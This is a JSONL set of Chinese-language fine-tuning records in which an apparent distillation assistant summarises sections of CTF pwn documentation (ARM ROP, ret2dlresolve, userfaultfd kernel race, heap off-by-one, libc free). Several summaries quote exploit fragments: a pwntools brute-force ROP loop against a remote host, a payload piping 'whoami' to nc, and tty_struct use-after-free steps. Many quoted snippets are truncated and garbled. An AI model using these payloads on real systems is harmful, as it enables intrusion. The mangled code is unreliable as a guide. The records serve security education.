{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f3db31dfeadce641452c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「notice」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：-- coding: utf-8 -- > notice\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“notice”展开。\n- 同时需要注意的是，checksec 检测的结果是开了 nx 保护，但这样检测的结果不一定准确，因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx 来决定（比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护），老版的 qemu 可能没有这个参数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 4 行，首行 `Desktop ./qemu-aarch64 --version`\n- bash: 3 行，首行 `[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challeng...`\n- bash: 6 行，首行 `Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1311, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "notice", "heading_path": ["-- coding: utf-8 --", "notice"], "original_id": "docs-3a9e11b07e17f2324907", "original_line": 62, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "e067a007bb9275aaf8a6e796", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f47ad699c8d86017c484", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「for i in range(100, 150)[::-1]:」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：for i in range(100, 150)[::-1]:\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“for i in range(100, 150)[::-1]:”展开。\n- for i in range(112, 123): if sys.argv[1] == \"l\": io = process(\"./typo\", timeout = 2) elif sys.argv[1] == \"d\": io = process([\"qemu-arm\", \"-g\", \"1234\", \"./typo\"]) else: io = remote(\"pwn2.jarvisoj.com\", 9888, timeout = 2)\n- io.sendafter(\"quit\\n\", \"\\n\") io.recvline()\n- ''' jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh Strings information ============================================================ 0x0006c384 : /bin/sh jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only \"pop|ret\" | grep r0 0x000...\n- payload = 'a' i + p32(0x20904) + p32(0x6c384) 2 + p32(0x110B4) success(i) io.sendlineafter(\"\\n\", payload)\n- pause() try: # pdb.set_trace() io.sendline(\"echo aaaa\") io.recvuntil(\"aaaa\", timeout = 1) except EOFError: io.close() continue else: io.interactive() ```\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 846, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "for i in range(100, 150)[::-1]:", "heading_path": ["for i in range(100, 150)[::-1]:"], "original_id": "docs-7db8a8eb1f0658c2776b", "original_line": 1234, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "5eab1fbd651ce82c85b2b713", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f480cb3178c0abce9203", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > exp\n路径分类：pwn / pwn/linux/kernel-mode\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“exp”展开。\n- Note that we need to sleep(1) there to wait for the kfree() to be done, so that the UAF object can be regetted later. / puts(\"[] constructing UAF on tty_struct...\");\n- pthread_create(&edit_uaf_thread, NULL, construct_uaf, NULL);\n- Note that we need to sleep(1) there to wait for the size to be fixed. / sem_post(&evil_add_sem);\n- = 0x5401) { err_exit(\"failed to hit the tty_struct!\n- / get kernel addr of tty_struct and tty_ops by gift / puts(\"[] leaking kernel heap addr by gift...\");\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2992, "chunk_count": 3, "chunk_index": 2, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "exp", "heading_path": ["用 userfaultfd 创造条件竞争", "例题：QWB2021-notebook", "exp"], "original_id": "docs-135694f4d44593eabed9", "original_line": 793, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "af557f2bb9527953140f0a49", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f4c3f3de807bbd8ab4b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「漏洞」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 漏洞\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 程序编写的 read 函数存在 null byte off-by-one 漏洞，仔细观察这个 read 函数可以发现对于边界的考虑是不当的。\n- `` signed __int64 __fastcall my_read(_BYTE ptr, int number) { int i;\n- // [rsp+18h] [rbp-8h] if ( number <= 0 ) return 0LL;\n- ++i ) { if ( (unsigned int)read(0, buf, 1uLL) !\n- if ( buf == '\\n' ) break;\n- if ( i == number ) break;\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 20 行，首行 `signed __int64 __fastcall my_read(_BYTE *ptr, int number)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 428, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "漏洞"], "original_id": "docs-28a1bd24c422c5b3623e", "original_line": 1016, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "be0fc89929d9230ac11138e9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f4fa8656774ad16dbed8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「基本单位：池块（Pool Block）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 基本单位：池块（Pool Block）\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本单位：池块（Pool Block）”展开。\n- [图片文件: https://s2.loli.net/2025/02/01/abBQ3WwxVCvdPj8.png] > 需要注意的是，Pool Chunk 仅用于请求内存大小不大于 4080 字节的情况（加上 16 字节的 header 刚好一张内存页大小）。\n- Pool Chunk 的管理与 ptmalloc2 chunk 非常相似，在 NT kernel 中会复用 Freed Chunk 的 Data 字段来组织 Free Chunk 为单向或双向链表： [图片文件: https://s2.loli.net/2025/02/03/MoOTksItJ6Wvdmr.png]\n\n关键术语：\n- 边界/溢出\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 783, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本单位：池块（Pool Block）", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）", "基本单位：池块（Pool Block）"], "original_id": "docs-816e05d31e33f5ba19ad", "original_line": 1454, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "86766b94698a72066390b46b", "subcategory": "pwn/windows/kernel-mode", "terms": ["边界/溢出", "pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f52ef9abd48b0bf129bd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「__libc_free」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > __libc_free\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“__libc_free”展开。\n- DUMPED_MAIN_ARENA_CHUNK(p)) { mp_.mmap_threshold = chunksize(p);\n- 代码如下 ``c++ void __libc_free(void mem) { mstate ar_ptr;\n- / chunk corresponding to mem / // 判断是否有钩子函数 __free_hook void (hook)(void , const void ) = atomic_forced_read(__free_hook);\n- = NULL, 0)) { (hook)(mem, RETURN_ADDRESS(0));\n- } // free NULL没有作用 if (mem == 0) / free(0) has no effect / return;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 35 行，首行 `void __libc_free(void *mem) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1099, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "__libc_free", "heading_path": ["释放内存块", "__libc_free"], "original_id": "docs-55f3749dacfccb884d32", "original_line": 1128, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "1acb7d69b9c1704206090eb5", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f5c0234933754d8220b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「.got.plt:0000000000600B48 qword_600B48 dq 0」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：.got.plt:0000000000600B48 qword_600B48 dq 0\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.got.plt:0000000000600B48 qword_600B48 dq 0”展开。\n- target_addr = 0x600B40 data_addr = 0x600BC0 offset = target_addr-data_addr payload = p64(offset & (2**64 - 1)) payload += p64(data_addr+43) payload += \"whoami | nc 127.0.0.1 8080\\x00\"\n- payload +=ret2dlresolve_with_fakelinkmap_x64(elf,data_addr+len(payload), elf.got[\"__libc_start_main\"],libc.sym[\"system\"]-libc.sym[\"__libc_start_main\"]) payload = payload.ljust(1024,'A')\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 370, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": ".got.plt:0000000000600B48 qword_600B48 dq 0", "heading_path": [".got.plt:0000000000600B48 qword_600B48 dq 0"], "original_id": "docs-f81d23d422502753883f", "original_line": 1372, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "c1e15e1f8f9e4ab6fddc2c37", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f62a95db3113c4f9eb75", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「使用 BusyBox 搭建基本的文件系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用 BusyBox 搭建基本的文件系统”展开。\n- BusyBox 是一个集成了三百多个最常用 Linux 命令和工具的软件，包含了例如 ls 、cat 和 echo 等常见的命令，相比起各大发行版中常用的 GNU core utilities ，BusyBox 更加的轻量化，且更容易进行配置，因此我们将用 busybox 为我们的内核提供一个基本的用户环境。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 226, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "使用 BusyBox 搭建基本的文件系统", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统"], "original_id": "docs-77bb0fa57d9feca41632", "original_line": 704, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "988bcfde6d7299149a205403", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f6a51278b71976436a7a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「方法 2 - 标准 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send \"/bin/sh\\x00\" > 方法 2 - 标准 ROP\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“方法 2 - 标准 ROP”展开。\n- 这个方法比较取巧，考虑到 read 函数很短，而且最后会调用系统调用，因此在 libc 的实现中会使用 syscall 指令，而同时我们可以修改 read 的 got 表，那如果我们把 [EMAIL_REDACTED] 修改为 syscall 的地址，同时布置好相关的参数，即可执行系统调用。\n- 这里我们控制 ROP 执行execve(\"/bin/sh\",NULL,NULL)。\n- 运行结果如下 `bash ❯ python exp.py ('0x8f', '\\x7fELF') ('0xc2', '\\x7fELF') ` 通过对比 libc.so 确实可以看到，对应的偏移处具有 syscall 指令 ` .text:000000000011018F syscall ;\n- ` 需要注意，不同 libc 的偏移可能不一样。\n- LINUX - sys_read ` libc 的版本为 ` ❯ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n- code:python\n\n代码/命令片段线索：\n- plain: 27 行，首行 `def bruteforce():`\n- bash: 3 行，首行 `❯ python exp.py`\n- plain: 2 行，首行 `.text:000000000011018F syscall ; LINUX - sys_read`\n- plain: 2 行，首行 `❯ ./libc.so.6`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3494, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "方法 2 - 标准 ROP", "heading_path": ["send \"/bin/sh\\x00\"", "方法 2 - 标准 ROP"], "original_id": "docs-751bf831a58109d88bed", "original_line": 1371, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "d2eec2c164c8bba93f523a18", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:bash", "code:python"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f6b1831f32d0b336ac6f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「send linkmap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send linkmap\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“send linkmap”展开。\n- io.send(link_map) rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'\\x00') #0x00000000004007a1: pop rsi;\n- rop.raw(0x00000000004007a1) # stack align 16 bytes rop.raw(0) rop.raw(0) rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `最终执行结果`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1262, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "send linkmap", "heading_path": ["send linkmap"], "original_id": "docs-784ef9b9e2dfb2247b41", "original_line": 1368, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "81ec7ef79d85d89b5c617ba3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f7251ea5b2ceacf64520", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 64位程序格式化字符串漏洞 > 例子 > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- ``shell ➜ 2017-UIUCTF-pwn200-GoodLuck git:(master) ✗ checksec goodluck Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) `` 可以看出程序开启了 NX 保护以及部分 RELRO 保护。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ 2017-UIUCTF-pwn200-GoodLuck git:(master) ✗ checksec goodluck`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 212, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["例子", "64位程序格式化字符串漏洞", "例子", "确定保护"], "original_id": "docs-28ea977afcf7929672e7", "original_line": 855, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1f556d44470a877ca9040d2f", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
